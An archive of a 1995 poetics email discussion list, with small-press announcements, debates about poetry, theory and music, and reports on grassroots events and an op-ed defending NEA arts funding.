AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to or, if you would like to receive future postings, please contact AWOL directly on [redacted].

Please note that [redacted] is a temporary address until we set up our own address sometime this year

****

OVERLAND MAGAZINE

Overland, Australia's radical nationalist literary quarterly, continues to be edited by John McLaren and published with the assistance of the Victorian University of Technology (VUT). Overland is Australia's second oldest continually published literary magazine - Meanjin is the oldest, Southerly the first established, but not continuous.

Overland is published quarterly, and from 1995 will appear in February, May, August and November, so avoiding the plethora of journals that appear at the end of each quarter.

Its Summer 1995 issue includes Boc Burns on Peter Carey, John Ridland on an American discovering Australia, and the best fiction and poetry currently available--as well as an unparalleled helping of review of recent fiction, poetry. history and politics.

The February issue will feature fiction noire, reviews on the failure of the revanchist right and tough left, and all the other social and political issues ignored by our reptile contemporaries.

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cut here

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Overland is assisted by the Australia Council, the Australian Government's arts advisory and support organisation, and the Victorian University of Technology.

↑ Index

2. Chris Stroffolino

Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Wed 1 Feb 1995

Dear Ira--Okay, that would be cool if you moved here by me. What would you do for "a living" though? I wish I could help you find a job here. Maybe you could apply to the school here as a student. That's what I'm doing (thanks to the student loan sharks). I'm sorry to have been so negative about America or specifically Albany but when your post came through I had just been informed that Elizabeth's husband, Jeff Hansen, is not getting rehired at his job at the "boy's academy" here and the economic pressures that are severely affecting this town right now. Nonetheless,this is where i live. Anyway, if you're serious about this I could send you more info--perhaps off this list...Chris S.

↑ Index

3. Spencer Selby

Re: reified names vs. boundless vocabulary

Wed 1 Feb 1995

Dear Tom, My statements about theory/practice were not just replies to you. They had a context too, which it seems you're not entirely attending. But I don't want to fight about it. I'm sorry if it seemed I was not appreciating all the wisdom and clarity of your thought. I'm sorry if my words were to you "no

reaction at all." In the future I'll try to do better, because it's clear that you're one of the most important voices on here, and your judgments are crucial. Yrs, Spencer Selby P.S. Whatever the context, I don't believe "this discourse proceeds at the level of the poetry."

On Tue, 31 Jan
1995, Tom Mandel wrote:

> *words must be read in context. read my words in context, not as an abstract opposition of poetry and theory but as a contextualized one. sure, theory (or criticism, or history, whatever) is also an art activity, an art form, a form of writing, what have you. And yet.... are we to succumb to the idea that there is no difference between Moses Und Aaron and Harmonielehre? I think my point was clear enough. What use to react to it in a way that is no reaction at all?*
>
> *tom Mandel*

↑ Index

4. Ron Silliman

Randy & the NEA

Wed 1 Feb 1995

Here's more stuff that I pulled off of the House of Representatives page on the WWW. Cunningham has been in Congress for 4 years. Here are the bills he has been the principle author of so far this congress. Except for what looks like a "local green" bill in there, the rest have a distinct reactionary flavor. Especially HR 220. Note his cosponsors. (Doolittle, who shows up more than once, is a rightwinger from the Sacramento area. Is anyone on this list from UC Davis?) If you have a congressperson who is listed on one of those bills, you might want to call his/her office and ask what they can do to influence Cunningham to get his committee (a subcommittee of the Economic and Educational Opportunities committee of the house) to report out a bill that authorizes the NEA.

Remember--from this point of view, it's unimportant whether or not he supports its funding. In fact, if he wants to vote against any appropriation, that would not be a killer. Authorization, tho, might be.

I will try to find out stuff on timing in the days ahead.

-- Ron

Representative Randy "Duke" Cunningham (R)
California, 43rd District
Office Information:

Washington Office
227 Cannon
[redacted]

Service Start Date: 01-03-91
Congress(es): 102nd - 104th

---

104 H.R. 216 Cunningham - Referred to House Subcomm

CONGRESS: 104
BILL NO: H.R. 216

OFFICIAL TITLE: A bill to provide that certain new Federal programs shall terminate no later than 5 years after the date of enactment of the law that establishes the programs

SPONSOR: Cunningham
DATE INTRODUCED: 01-04-95
BRIEF TITLE: No Information Available

COSPONSORS: 16 CURRENT COSPONSORS
01-20-95 Doolittle, Packard, Poshard, Emerson, Torkildsen, Pryce, Ney, Royce, Fox, Forbes, Saxton, Dornan.
01-25-95 Christensen.
01-26-95 Seastrand.
01-27-95 Jacobs, Weller.

---

104 H.R. 217 Cunningham - Referred to House Subcomm

CONGRESS: 104
BILL NO: H.R. 217

OFFICIAL TITLE: A bill to establish a Second National Blue Ribbon Commission to Eliminate Waste in Government

SPONSOR: Cunningham
DATE INTRODUCED: 01-04-95
BRIEF TITLE: No Information Available

COSPONSORS: 6 CURRENT COSPONSORS
01-11-95 Doolittle, Jones.
01-13-95 Linder, Knollenberg.
01-18-95 Paxon.
01-23-95 Moorhead.

---

104 H.R. 218 Cunningham - Referred to House Committee

CONGRESS: 104
BILL NO: H.R. 218

OFFICIAL TITLE: A bill to amend title 18, United States Code, to exempt
qualified current and former law enforcement officers from State laws prohibiting the carrying of concealed handguns

SPONSOR: Cunningham
DATE INTRODUCED: 01-04-95
BRIEF TITLE: No Information Available

COSPONSORS: 43 CURRENT COSPONSORS
As Introduced Bartlett, Barton, Brewster, Calvert, Condit, Crane, Doolittle, Gallegly, Holden, Hunter, Inglis, Knollenberg, Lewis (CA), Packard, Paxon, Portman, Schaefer, Solomon, Hall (TX).
01-09-95 Molinari.
01-11-95 Ney, Vucanovich, Coburn, Frost.
01-13-95 Linder.
01-17-95 Fields (TX).
01-18-95 Baker (CA).
01-19-95 Hancock, Lightfoot.
01-20-95 Allard, Chrysler.
01-23-95 LaTourette.
01-24-95 Tejeda, Metcalf, Heineman, Thurman, Emerson.
01-25-95 Bilbray, McKeon.
01-26-95 Shuster, Young (AK), Seastrand.
01-27-95 English.

CONGRESS: 104
BILL NO: H.R. 219

OFFICIAL TITLE: A bill to require a temporary moratorium on leasing, exploration, and development on lands of the Outer Continental Shelf of the State of California, and for other purposes

SPONSOR: Cunningham
DATE INTRODUCED: 01-04-95
BRIEF TITLE: No Information Available

COSPONSORS: 2 CURRENT COSPONSORS
01-17-95 Bilbray.
01-30-95 McKeon.

---

104 H.R. 220 Cunningham - Referred to House Subcomm

CONGRESS: 104
BILL NO: H.R. 220

OFFICIAL TITLE: A bill to amend title IV of the Social Security Act to deny aid to families with dependent children to certain individuals for any week in which the individuals work or attend courses at an educational institution for fewer than 30 hours

SPONSOR: Cunningham
DATE INTRODUCED: 01-04-95
BRIEF TITLE: Responsible Welfare Act of 1995

COSPONSORS: No Information Available

↑ Index

5. cris cheek
past breaking point
Wed 1 Feb 1995

---

existunintentionally - I left the be word out.
But I wouldn't suggest that the dues are what have to be paid for.

cris

↑ Index

6. I.LIGHTMAN
Re: Re- CALL FOR A DECISIVE
Wed 1 Feb 1995

Bill,

Thanks for your encouragement of my Jung elaboration. I'm not sure that this list is the place for opening out all the aphorisms/points I made; I just hoped it might circulate the manifesto to generate some connection with the similar minded. However, I always answer specific questions. Stockhausen is a European composer of similar age and period to Cage; Stockhausen uses some process and chance, but he has also periodically stopped to ask what he has learned from his chance works, and has always also composed very carefully chosen work. My point in my manifesto was simply to allege that a lot of poets want to call themselves *musical* because they get Cage, or free jazz, as a theoretical gesture, but not as a physical experience of sound. That poets allied to Zukofsky think he and therefore they are musical when Zukofsky may namecheck Bach, but is a million miles further away from Bach than, for example, Pound, in understanding how to balance and combine cadences and sound, or how to do counterpoint. To take one example, Pound's use of monosyllables in the early Cantos is, it seems to me, a technical feat as difficult as musical composition; by his careful sense of context, dialect and etymology he places words in his poetry so that they interrogate and are interrogated by other words and lines *both rhythmically (picking up certain assonances) and semantically (looking at what the word might mean and has meant)*; this creates a kind of counterpoint, or slowing of time, as the mind remembers previous words and lines and mentally plays them in a kind of double-exposure; just as, when listening to Bach, one can hear phrases recur but in reverse or a different octave, and one thus hears phrases inside each other. If you then look at how Zukofsky uses monosyllables in the opening sections of "A", you find not remotely the same complexity (it's as if he's trying to copy the surface of Pound without understanding the structure). Cage wanted to use randomness in order to defy connections with the past, to be new in that way. Stockhausen manages a similar break but also stands equal with past composers, creating equivalent *complexity* by balancing not so much phrases but cadences, working not in time and rhythm but physical space. I can't describe it better than that; I juts just get a huge sense of space, with a sound coming from above, then left, then throughout the whole space. Cage wanted to get his audience to feel space, eg 4'33", but Stockhausen can actually sculpt it.

See how long it might take to spell everything out?

Best

Ira

↑ Index

7. Robert Drake
Re: Re- CALL FOR A DECISIVE
Wed 1 Feb 1995

Stockhausen (Karlheinz) is a german composer, founder of the "cologne" school ov electronic music--based in the studios of radio cologne, very generally using electronic sound sources (oscillators etc.) as opposed to manipulating found sound a'la the french muisque concrete school. altho he & cage did at some points clash over theory, i believe they "patched things up" (no pun inteneded, ov course) later, and the german/ french opposition now seems more genuine, at least to me.

dunno, maybe some folks think of cage & his zen influence as warm & fuzzy, and diametric to a perception of stockhausen's cold hard "classicism"--readings of both that _i_ find misleading...

lbd

↑ Index

8. Spencer Selby
Re: reified names vs. boundless vocabulary
Wed 1 Feb 1995

Dear Stephen, Nice to hear from you. I will send you out a hard copy of the latest list today. Anyone else who wants same, just let me know, along with yr mailing address. Spencer Selby

↑ Index

9. James Sherry
Re: apex of the m...
Wed 1 Feb 1995

The theories and practices of the poets of whom you speak evolved in a series of books from the early 1970s through the current decade's books by several of the poets. Anthologies such as *Inthe American Tree* edited by Ron Silliman and *From the Other Side of the Century* edited by Douglas Messerli will give you good samplings of some but not all of the poets involved. *The Language Book* edited by Bernstein and Andrews (Southern Illiois University Press), *The New Sentence* by Ron Silliman (Roof Books), *A Poetics* by Charles Bernstein, *The Boundary of Blur* by Nick Piombino (Roof Books), portions of my own *Our Nuclear Heritage* (Sun & Moon), and a raft of others by Barrett Watten, Alan Davies, and forthcoming by still others such as Hank Lazer will articulate

the variety of concerns that were addressed by these poets over the years. Someone might want to cite the secondary texts which have the purpose of "summarizing" the works, but I find these less useful since they translate the mechanisms by which the poets meant and thereby are only descriptive. Bernstein has a good list of these texts about these poets. But the point that must be made regarding your query is that the only simplified material that can be written would be similar to the promotional literature which was generated to alert librarians and readers to the presence of tendency in writing. Such promotional literature can't be used to articulate anything other than the marketing practices of publishers such as Messerli, Ganick, Bernstein & Andrews, and myself. So there probably is no short answer and most ofthe poets who participated in these writings and publications would prefer that they be allowed to represent themselves when you read them each, not as a lump, since the poets of whom we speak are as diverse as all the other tendencies combined and sought another mode of presentation.

So rather than a
summary, I, for one, would ask you to take a look at some of the work.

On Tue, 31 Jan 1995, Jeffrey Timmons wrote:

> *A naive question from the unlearned:*
>
> *Would someone please articulate in what ever fashion possible some general practices/theories of L=A=N=G=U=A=G=E poetry? What a hassle to type that. I won't hold anyone responsible for the reductive nature of categorizing what is (obviously) a highly diverse assortment of writers and writing. Ok?*
>
> *Jeffrey Timmons*

↑ Index

10. Robert Drake
Re: Re- CALL FOR A DECISIVE
Thu 2 Feb 1995

---

sez ira, expanding on his "stockhausen not cage" slogan:

> *See how long it might take to spell everything out?*

exactly. the short version is so easily misunderstood as to be useless fr anything but agitation. the expanded version gives me a point of entry, might be part of a dialogue (& not just a harangue). and the problem, fr me, w/ much of what passes here, on these screens, is the time wasted on agitation. by which i refer back to the earlier M thread,

where the stance of the intro completely obscures...
response to the slogans seems pointless (haven't you ever
been called names before?), but, i believe, there is some
substance behind their practice (&/or praps related--who
mentioned CHAIN o*blek 12 etc?), which remains unaddressed
and still worth addressing...

& still, ira, i don't think you've got c & s right...

lbd

↑ Index

11. BLUOMA
Re: Re- reified names vs. bo
Thu 2 Feb 1995

Reply to: RE>Re: reified names vs. boundless vocabulary
I'd like one please.

Bill Luoma
526 e5th st
NY, NY 10009

Date: 2/2/95 8:27 AM
To: BLUOMA
From: UB Poetics discussion group
Dear Stephen, Nice to hear from you. I will send you out a hard copy of
the latest list today. Anyone else who wants same, just let me know, along
with yr mailing address.
Spencer Selby

↑ Index

12. eric pape
Re: Re- reified names vs. bo
Thu 2 Feb 1995

Spencer: Please send me a new list as well. I had the one you earlier
distributed, and found it very helpful, but accidentally erased it. [redacted]
Thanks muchly, Eric.

↑ Index

13. nada

Spencer's gauntlet, etc.

Thu 2 Feb 1995

---

1) Between K and N:

Are people really distressed that the generations are going at it? Isn't that the order of things? eg. moose, cuckoos. . .

Analysis is beautiful though, even when it's tortured.
Especially when it's tortured.
It makes me feel wily.

A wily woman (CH) said to me once:
Write what you want to write.
And some clever men (CB and AD) wrote:
Write what gives you pleasure.

(that could be grand social responsibility,
philosophy, sparrows, things to eat
or just friction)

2) Picking up Spencer's gauntlet:

Teaching in Japan I have had to learn all kinds of tricks for getting silent people to talk, to break their internal barrier against speaking even if they feel they have nothing to say or are afraid of making a mistake. Techniques include sentence completion, anonymous bulletin boards, teaching gambits for evoking speech to the interlocutors of a silent person, giving participation points, and listening intently to a usually quiet one who gets up the nerve to speak. I wonder if these techniques could be adapted to a poetry commmunity, and by extension to any democracy. FILL that air.

By the way it was very hard for me to post this.
Ashamed that my teeth might be part of my skeleton I was obliged to
first blacken them then cover them with my hand.

What is the level of the poetry, Spencer? Who stratifies all this language?

I'm thinking of applying to Buffalo. I'm in e-mail contact with Ben F., but would like to hear from others involved in that community about what it's like.

Yoroshiku onegai shimasu.

reply to: [redacted]

concrete address:

Nada Gordon
202 Ikeda-so

2-1-5 Akatsutsumi
Setagaya-ku
Tokyo 156
JAPAN

↑ Index

14. Jeffrey Timmons

Re: apex of the m...

Thu 2 Feb 1995

I want to thank all those that replied to my queries about L poetry and others who took the time to expand their replies to "account" (or at least ... say more about their positions. I liked it. I will be busy trying to immerse myself in some of this material and, as a consequence I'm sure, asking y'all questions about it.

Jeffrey Timmons

↑ Index

15. Loss Glazier

*Press List * Avenue B * (via Stephen Ratcliffe)*

Thu 2 Feb 1995

___A V E N U E___B___

New Titles (1995)

REGISTERS/ (PEOPLE IN ALL) by Clark Coolidge
88 pages ISBN 0-939691-10-8 $9.95

Written between May '89 and August '92, these fifty sections of 3-line stanza/chords continue Coolidge's fast-forward drive to explore how sheets of sound can be made to echo thought itself: ." . . . Off where nerves rattle and glance interminable, the sphere of the bygone syllable. Lit as if sound, a cascade to a bell."

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"Todd Baron's poems in (OUTSIDE) have a clarity that is not being either speech or thought while seeming the reverberation of 'the public' from inside 'someone,' "not lines or rhythms or even/ anything from the outside but on paper from the voice above the water-level/ shouting something beneath." The

sense of the poems' shape crosses a spatial line or level they make that is public/interior." Leslie Scalapino

---

Recent Titles

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---

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fiction/translation/memoir by Raymond Roussel & Ron Padgett
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Distance poems by Stephen Ratcliffe
112 pages ISBN 0-939691-00-0 $6.00

Please include a check for retail total plus $1.50 for postage and handling for the first title, $.50 for each additional title.

Avenue B P.O. Box 542 Bolinas, CA 94924

↑ Index

16. Spencer Selby

Re: Spencer's gauntlet, etc.

Thu 2 Feb 1995

Dear Nada, Hello, I'm very glad you jumped in. I hope my statements have not been taken as being in any way against anyone's wish or need to speak out on anything. This forum seems very open (maybe even "wide open"), which is one of the best things about it. I might remind you though, that what is pleasurable for the speaker may not be for part or all of the listeners. As for what the level of poetry is, I'm not going to try that one. Poetry/art has its own level, and whatever it is or may be, it is not the same as theory or criticism or writers' discourses or internet exchanges. This view may strike some as extreme, simplistic or old-fashioned, but I think it's dangerous when artists or critics start saying (or building contexts in which) their discourse is on the same level as the art. Spencer Selby

↑ Index

17. Steve Evans
Still Espousing
Thu 2 Feb 1995

Many books have been destroyed, carelessly or by design. Lost, burnt, forgotten, volumes drop out of existence, along with--more easily disposed of--proofs never pulled, unpublished manuscripts, notes for books, plans and proposals for things to be written, collected, put into books. The number of projects unaccomplished in history must be enormous. And much larger, almost infinite, the realm of projects unattempted, never started, what no one ever thought to do.

(Keith Waldrop, *Potential Random*).

on the other hand I am not going to espouse any short stories in which

lawn mowers clack.

(James Schuyler, "Freely Espousing")

With apologies for the delay, here are some field reports from *Freely Espousing* events last weekend. After taking a few days to recuperate (and to change from our archaic e-mail software to Eudora), Jennifer and I want to re-issue our invitation to work with anyone who has ideas on how to sustain momentum, broaden the support-base, and provide an alternative voice (where stategic) to the rampant "bottom-line" thinking currently pervading both sides of the national debate on the Arts.

The disastrous equation of corporate economic interests with the national interest is not our only option here!

San Francisco

On Friday evening, January 27, Kevin Magee and Myung Mi Kim had about three dozen writers to their home to discuss two anthologies, *writing away here* and *The New Coast.* The site is significant: Small Press Traffic, which might have been in other times a 'natural' place to stage an event such as *Freely Espousing,* was losing its lease effective Jan 31. Some of the writers gathered at Myung and Kevin's had composed "documentary gestures" (meant to link the NEA issue to the broader social war) earlier in the week: these were faxed to Providence and Buffalo the following morning. Kevin reports that the NEA was "there as a pressure" throughout an evening devoted to opening a dialogue between otherwise segregated "traditions" in American poetry.

Follow-up: An audio-tape was made of the evening's discussion. Kevin and Myung have written a brief report of their event for the forthcoming *Poetry Flash,* where it will appear in the context (we presume) of a piece Jennifer and I are preparing on *Freely Espousing* more generally.

* Providence *

Organized by Jennifer Moxley and Steve Evans with support from C.D. Wright and the Ad-Hoc Council of Literary Presses.
Salomon Hall 101, Brown University 3-7pm
Estimated attendance: 175-200 people throughout the day
Format: Marathon reading of NEA-supported literature & Featured Speakers

Speakers: Ray Rickman (Host of Bestsellers on Channel 36/PBS and Former RI State Representative), Representative Jack Reed (D-RI), Michael Harper (Poet, Professor of Creative Writing at Brown, Former RI Poet Laureate), Tereann Greenwood (President of RI Arts Advocates and Director of RI Philharmonic), Roger Mandle (President of RISD), Liam Rector (PEN-Boston), Richard Cumming (Composer in Residence at Trinity Rep since 1966), Randy Rosenbaum (Director of RISCA), Rudy Cheeks (local journalist and First Amendment advocate), Doreen Bolger (Director of RISD Museum), C.D. Wright (RI Poet Laureate, Professor of Creative Writing at Brown).

Press Coverage:
"Freely Espousing lets you speak up for the arts," by Jim Seavor, Providence Journal-Bulletin, 27 Jan 95: D1.
"Writers gather in Providence to fight cuts in Endowment," by John Castellucci in Providence Sunday Journal, 29 Jan 95: B-3.
"Artists and Politicians Challenge Budget Cuts," by Alyssa Litoff, Brown Daily Herald, 30 Jan 95: 1+
"Gaurding Access to Art," Providence Phoenix, 3 Feb 1995: 3.

publicity, mobilized key defender's of the arts, and lead to local alliances that have developed throughout the week following the event. The video-tape Lee Ann Brown made will come in handy in the next weeks and months. We're currently slated to participate in a forum of the broad implications of the *Contract on America* for Rhode Island (16 Feb).

* New York City *

Organized by Jeff Hull with support from Brenda Coltas
Parish Hall, St. Mark's Poetry Project 3-6pm
Estimated attendance:50
Format: Letter-writing and brief program of speakers. Event followed a reading by Kate Rushin at the Ear Inn.

Jeff estimates that 70 longhand letters and 150 postcards were generated at the event itself.

Speakers: Anne Burt of the Literary Network, Elizabeth Murray, others.
Attended: Bruce Andrews, Ron Padgett, Eliot Katz, Alfred Corn.

Follow-up: Discussion of future events focused on moving beyond the strictly literary set. More as it develops.

Buffalo

(what follows is taken from an e-mail Jena Osman sent us earlier today)

The Buffalo version of the "Freely Espousing" event was re-dubbed "SAVE THE artWORLD." This event was not focused so much on the writing community's relation to the NEA, as it was on the many arts programs in the city which depend on federal/public funding; music, theater, visual arts, arts education programs, etc. The event was organized by myself (Jena Osman), with help from Anjanette Brush (director of Big Orbit Gallery), sponsored by the National Association of Artists' Organizations, and took place in the newly built cinema in the Hallwalls Center for Contemporary Arts. Outside the cinema, in the main gallery, were computers and printers set up for letter writing, tables of photocopied articles and info. about the NEA, books by NEA authors for sale from Talking Leaves Bookstore, food, talk, and the current Hallwalls member's show up on the walls. The day consisted of a mixture of speeches and artistic presentations. Vincent O'Neill of the Irish Classical Theatre Company gave a dramatic reading of a section of his one-man show on the work of James Joyce, "Joyicity." Eighth graders from public school 45 read poems and stories that they had written with local writers from Just Buffalo Literary Center's Writers-in-Education program. Manny Fried, a local playwright and labor activist, read from his play "The Dodo Bird." Film-maker Tony Conrad showed two films side by side--one purportedly made before he received an NEA grant, one made after he received an NEA grant. Susan Howe read poems by Wilfred Owen. Raymond Federman read an excerpt from a novel which he had written with the help of NEA support. Random Axe, a band consisting of cello, banjo and guitar, played a short set, and the 12/8 Path Band played some socially activating tunes as well. Other participants included Ed Cardoni of Hallwalls, Louise Caldi of the Greater Buffalo Opera Company, Arlette Rosen of Pick of the Crop Dance Company, Deborah Ott of the Just Buffalo Literary Center, University at Buffalo professor Myles Slatin with a message from State Assemblyman Sam Hoyt, media makers Brian Springer and Jody Lafond, Buffalo State College Art Conservation student, Sarah Stauterman, composer David Felder, Buffalo writer-in-residence, A.M. Alcott and I'm sure there are others I'm forgetting to mention. It's been estimated that over 200 people spent some time at the event, and all three TV stations showed up, two of them covering the story on the 6-o-clock news. Many letters were written, and many LitNet action cards signed. A primary target of the letter-writing campaign was Representative Jack Quinn of District 30, a Republican who is perceived as a potential swing vote in favor of the NEA. I believe the event was fairly successful at informing the community how NEA cuts will directly impact

accessibility to the arts in Buffalo. However, I think everyone realized that this event marked only the beginning, and hopefully those who attended are already thinking of what needs to be done next.

Washington

Organized by Joe Ross and Mark Wallace
Willow Street Gallery, 1-5pm
Estimated attendance: 40 (on a snowy day)
Format: Open Reading with brief program of speakers.

Speakers included Alexander Ooms and Cliff Becker (both from the NEA).
Attended: Tina Darragh, Peter Inman, Tom Mandel, Joan Retallack, Beth Joselow, Rod Smith and others.

Follow-up: Joe writes "To sum it up: positive, good feeling of purpose, left us ready to do more."

* San Diego *

Organized by Craig Foltz and Cole Heinowitz
The Wicki Up, 1-6 pm
Estimated Attendance: 50-75 people
Format: Marathon Reading with Featured Speakers.

Performance/Symposium: On the History, Present, and Future of the NEA.

Speakers/Readers: Quincy Troupe, Michael Davidson, Miguel Algarín (poet, founder of Nuyorican Cafe), Pasquale Verdicchio, Eloise Deleon (Performing Arts Director at the Centro Cultural de la Raza), Deedee Haleck (Paper Tiger Video and TV), Rae Armantrout, Fanny Howe, Mel Freilicher (writer and former co-chair of Sushi Performance Gallery), Jerome Rothenberg, Harold Jaffe, Maggie Jaffe, Ralph Lewin (California Council for the Humanities), Rand Steiger (Director of the Ph.D. in Music at UCSD, former director of LA Philharmonic).

Press: When we spoke to Cole on Sunday, coverage in the next day's SD Union seemed likely (can anyone vouch for that?).

Follow-up: About 10-12 people stayed after and forged a short agenda for the coming week. Discussion focused on broadening network to include SD Symphony, Escondido Arts Center (in Rep. Randy "Duke" Cunningham's district),etc.

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18. BLUOMA
Re: Re- Re- CALL FOR A DECIS
Thu 2 Feb 1995

Reply to: RE>Re: Re- CALL FOR A DECISIVE
>>and the problem, fr me, w/ much of
>>what passes here, on these screens, is the time wasted on
>>agitation.

There might be some agitation, but it seems healthy. Poets on the whole tend to be rather annoying.

Another tack, however, might be to discuss things in the world that are influencing the art, obsessions. I enjoyed eric pape's spirit story more than recent theoretical calls to the M.

Lately, I've been staring at high tension towers to get "inspiration." I've even taken to rendering them in photoshop. I can't articulate why I'm obsessed with power lines, but it/they continue to drive the work.

Perhaps this tack is too individualistic to have meaning to a large group. But I am more interested in learning new methods of doing good work-- how to get new obsessions--than in discussing the correct way to write.

I'd be curious to know what motivates others.

Bill Luoma
[redacted]

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19. George Bowering
Re: reified names vs. boundless vocabulary
Fri 3 Feb 1995

Blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah engagement blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah

↑ Index

20. nada
Re: reified names vs. boundless vocabulary
Fri 3 Feb 1995

---

according to Lee Ann Brown, blah blah is what Bernadette Mayer is having to substitute for most nouns now

strange that aphasia should strike such a linguistic wonder beethoven syndrome

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21. Bob Perelman

freely espousing

Fri 3 Feb 1995

Here's a press release about the event that Susan Stewart, Gil Ott, and I have organized here in Philly for tomorrow. I'll also include an Op-Ed piece I just wrote for the P. Inquirer, which will run Sun. or Mon. Now if only it doesn't snow a half a foot like they're predicting.

Bob Perelman

Press Release

FORUM TO MAINTAIN PUBLIC SUPPORT FOR THE ARTS & HUMANITIES to be held at The Great Hall, University of the Arts

Saturday, February 4, 3-5 p.m.

We are planning a public forum to express our support for the NEA, NEH, IMS, and CPB. It will involve brief public presentations by members of arts groups from throughout the city: dance, music, theater, visual arts, literary magazines and reading series, humanities institutions, and others will be represented. A postcard campaign of support and the creation of a petition are also on the agenda. Anyone with a concern for the future of cultural funding is invited to come and contribute to our efforts to alert the public to the current threat to the arts and humanities. Delegates from the Mayor's Office and from congressional and senate offices have all committed themselves to participating.

If you need further information, please call Bob Perelman (898- 7055, [redacted]), Susan Stewart ([redacted]) or Gil Ott ([redacted]).

Groups participating (incomplete list):

The Mayor's Office
Philadelphia Free Library
Fabric Workshop
Philadelphia Folklore Project
Moore Gallery
ICA
Network for New Music
Tyler Gallery
Boulevard Magazine
Painted Bride
Singing Horse Press
Settlement Music School
Chorus America
Print Club
YMHA Poetry Center
Penn. Council of the Arts
WHYY
University of the Arts

Center for the Study of Black Literature and Culture, U Penn
Historical Society

GOVERNMENT BY IRRITATION

Government by irritation: it's one of the dominant political modes of our day. Taking their cue from talk show hosts, politicians try to topple their opponents by unleashing discontent. These days the NEA serves as a handy source of annoyance if not outrage: a few well-publicized examples of troublesome art have, over the last few years, been able to furnish a great supply of instant political energy. It's not easy to argue against such energy. The value of art is not always instantly apparent--and at the same the difficulties art brings with it are much more likely to be perceived at a glance. The latest remarks by senators that the NEA be abolished unless it supports "family values" show how true this is. Rather than arguing for art that is familiar, obedient and at best ornamental, I think case that art is valuable to the community precisely because it is not perfectly predictable or obedient. That will not mean that unruly art is automatically wonderful. Art is one of the testing grounds between individuals and the community. The point is that it's an opportunity for judgment: members of the community will need to make up their minds. That's one of the basic values of art: it can't be approached dogmatically. If it's considered in terms of the federal budget as a whole, the NEA is hardly a big deal. The federal budget is around a trillion and a half dollars a year; the NEA budget is $167 million. If my math holds, that means that the NEA takes up about one ten thousandth of the federal budget. That's less than the military spends on marching bands, less than the city of Berlin spends on public art. To eliminate the NEA would save each American 65 cents a year. Here in Philadelphia, dance, poetry, the visual arts, theater would all suffer; the gamut of organizations affected would range from the Institute for Contemporary Art to the Please Touch Museum, from the Philadelphia Orchestra to the Settlement Music School. The bigger, more established concerns would take a hit; some of the smaller organizations might have to close. Those who are out of sympathy with the arts might think that's fine: that if a theater company needs a handout to survive there's something wrong with it. But to consider the arts in such a framework is an unfair oversimplification. For one thing, business itself is not treated in such a sink- or-swim way: government subsidies are an integral part of many industries, from farming to sports franchises. One of the better reasons for such subsidies is that they shield enterprises from momentary reverses. If farmers couldn't survive a single bad season, it would ultimately make for a weak social fabric. With the arts, the time frame is often more stretched out. It can easily take decades for general taste to approve of developments in art. The last hundred years are full of examples. In France

painters such as Monet and Matisse were ridiculed by the majority of their contemporaries; there was a riot at the premier of Stravinski's "Rites of Spring." Of course, paintings by Monet and Matisse are now among the most valuable objects on the planet; and thirty years after it had driven listeners into a frenzy of disgust, Stravinski's music was used by Disney as the soundtrack to the dinosaur section of "Fantasia." These are examples of successes. But it's not always the case that today's innovative art becomes tomorrow's classic. A 1920's symphony by George Antheil that used airplane engines has not yet become a cultural treasure (nor is it likely to). That's important. It misses the point to say "Fine, innovate, be creative. But only if you turn out to be Monet. No duds or wild excesses, please." But why should the government have to underwrite art? Didn't Monet work on his own? There are a couple of answers to this. For one thing, a significant part of NEA money goes to community groups, often helping get art to groups and places it doesn't normally reach: smaller towns, rural areas, schools that don't have the resources for art programs. And for the government to cut all arts funding would mean that it recognizes no values other than the marketplace. Under the reign of purely economic motives, there is no way anyone would want to produce something unless it could be sold immediately. Imagine a society in which every cultural product had to turn a profit instantly. If you want to get a sense of how claustrophobic this can be, consider how dominated commercial television by spinoffs and imitations. Given how informative, exciting, and revealing the arts can be, what an important antidote they are to instant opinion polls, and how important they already are to various different parts of the community, I think they're worth 65 cents a year. The money is not wasted: people in the arts are appreciative of the little support they get and work hard whether or not they get it. By their very nature, the arts speak to the individual's judgment at the same time as they offer possibilities for building communities: they're perfect training for the independence and possible sense of connection that we need to live in a democracy. Maybe 65 cents is a bit low. Why not make it $1.30?

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22. Rae Armantrout

Re: Still Espousing

Fri 3 Feb 1995

Dear Steve,

The newspaper here (The Union) did do a nice article on the Espousing event.

Rae A.

↑ Index

23. Tom Mandel

boundless, usw.

Fri 3 Feb 1995

What, Jeffrey Timmons asks, constitutes a reaction to my view? Well, let me start by saying that I think I wrote in a bit too snippish way in my own response to you, Jeffrey.

At the heart of what I said in the post to which you were responding was this:

> "a discourse in re: poetry that is interesting to
> poetry is one that adds space for poetry to be
> made. Adds space."

I want to hear someone discuss poetry with an emphasis on how work does its job in relation to the world it inhabits. The place of theory (even theory of poetry) with respect to poetry, to writing, is not that the theory resolves the work, as if you turn to the theory to help understand the work. Rather, theory, theoretical concerns or convictions operate as what Aristotle would have called "efficient causes"; they set a work, perhaps even a body of work, into motion, they get it going. You can't turn back to the theory, however, to understand the work itself - tho of course you can seek indications or intentions anywhere you find data to support them - and above all theory does not operate to justify the work. An acquaintance with the manifestos or even the ideas of surrealism is not necessary to understand Breton's _Nadja_. Might it not be helpful? It might be, to one or another reader; but, I could as easily imagine a reader to whom it would not provide entry to the work, even a reader whose response to the work would be dulled or diminished, dumbed out, by an attention to surrealistic theory (even more so to interpretations thereof).

What then is a "discourse in re: poetry... that adds space for poetry to be made"?

Anything that asks, or attempts to answer, that question is "a response to my view." Yours would be different from mine, and different from Charles Bernstein's. I recommend, because I did in the original post but without naming it, Mandelstam's "Conversation About Dante" as an example of what is in response to my view (i.e. I am in response to it - since, again as I had it in my original post, "a connection with the past [being] no different from a connection with the future.")

Tom Mandel

↑ Index

24. Tom Mandel
Re: Spirits, etc.
Fri 3 Feb 1995

Re: ERic Pape's "...spirituality cannot be faked, only shared," I'm having trouble laying hands on the Fernando Pessoa poem which begins (something like) "The poet is a faker...." Does anybody know this poem? It's only a handful of lines long, and if one of you cd quote it to the list, I'd be grateful. If not, I"ll find it sometime in the next week or so and pass it along when I do.

tom mandel

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25. Tom Mandel
Re: reified names vs. boundless vocabulary
Fri 3 Feb 1995

